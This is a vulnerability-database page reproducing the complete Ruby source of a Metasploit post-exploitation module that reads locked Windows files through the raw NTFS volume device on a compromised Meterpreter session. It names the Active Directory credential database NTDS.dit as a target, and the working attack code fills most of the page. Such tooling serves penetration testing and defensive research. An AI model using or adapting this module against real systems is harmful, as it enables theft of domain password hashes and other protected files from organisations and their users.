Lucene search
K

Windows File Gather File from Raw NTFS

🗓️ 08 Feb 2015 18:49:17Reported by Danil Bazin <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 85 Views

This module gathers a file using the raw NTFS device, bypassing Windows restrictions and file locking issues, to retrieve files such as NTDS.dit

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Error

  ERROR = Msf::Post::Windows::Error

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows File Gather File from Raw NTFS',
        'Description' => %q{
          This module gathers a file using the raw NTFS device, bypassing some Windows restrictions
          such as open file with write lock. Because it avoids the usual file locking issues, it can
          be used to retrieve files such as NTDS.dit.
        },
        'License' => 'MSF_LICENSE',
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Author' => ['Danil Bazin <danil.bazin[at]hsc.fr>'], # @danilbaz
        'References' => [
          [ 'URL', 'http://www.amazon.com/System-Forensic-Analysis-Brian-Carrier/dp/0321268172/' ]
        ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
            ]
          }
        }
      )
    )

    register_options(
      [
        OptString.new('FILE_PATH', [true, 'The FILE_PATH to retreive from the Volume raw device', nil])
      ]
    )
  end

  def run
    version = get_version_info

    fail_with(Failure::NoTarget, 'Module not valid for Windows 2000') if version.build_number == Msf::WindowsVersion::Win2000
    fail_with(Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin?

    file_path = datastore['FILE_PATH']

    r = client.railgun.kernel32.GetFileAttributesW(file_path)

    case r['GetLastError']
    when ERROR::SUCCESS, ERROR::SHARING_VIOLATION, ERROR::ACCESS_DENIED, ERROR::LOCK_VIOLATION
      # Continue, we can bypass these errors as we are performing a raw
      # file read.
    when ERROR::FILE_NOT_FOUND, ERROR::PATH_NOT_FOUND
      fail_with(Failure::BadConfig, "The file, #{file_path}, does not exist, use file format C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts")
    else
      fail_with(Failure::Unknown, "Unknown error locating #{file_path}. Windows Error Code: #{r['GetLastError']} - #{r['ErrorMessage']}")
    end

    drive = file_path[0, 2]

    r = client.railgun.kernel32.CreateFileW("\\\\.\\#{drive}",
                                            'GENERIC_READ',
                                            'FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE',
                                            nil,
                                            'OPEN_EXISTING',
                                            'FILE_FLAG_WRITE_THROUGH',
                                            0)

    if r['GetLastError'] != ERROR::SUCCESS
      fail_with(Failure::Unknown, "Error opening #{drive}. Windows Error Code: #{r['GetLastError']} - #{r['ErrorMessage']}")
    end

    @handle = r['return']
    vprint_good("Successfuly opened #{drive}")
    begin
      @bytes_read = 0
      fs = Rex::Parser::NTFS.new(self)
      print_status("Trying to gather #{file_path}")
      path = file_path[3, file_path.length - 3]
      data = fs.file(path)
      file_name = file_path.split('\\')[-1]
      stored_path = store_loot('windows.file', 'application/octet-stream', session, data, file_name, 'Windows file')
      print_good("Saving file : #{stored_path}")
    ensure
      client.railgun.kernel32.CloseHandle(@handle)
    end
    print_status('Post Successful')
  end

  def read(size)
    vprint_status("Reading #{size} bytes")
    client.railgun.kernel32.ReadFile(@handle, size, size, 4, nil)['lpBuffer']
  end

  def seek(offset)
    vprint_status("Seeking to offset #{offset}")
    high_offset = offset >> 32
    low_offset = offset & (2**33 - 1)
    client.railgun.kernel32.SetFilePointer(@handle, low_offset, high_offset, 0)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation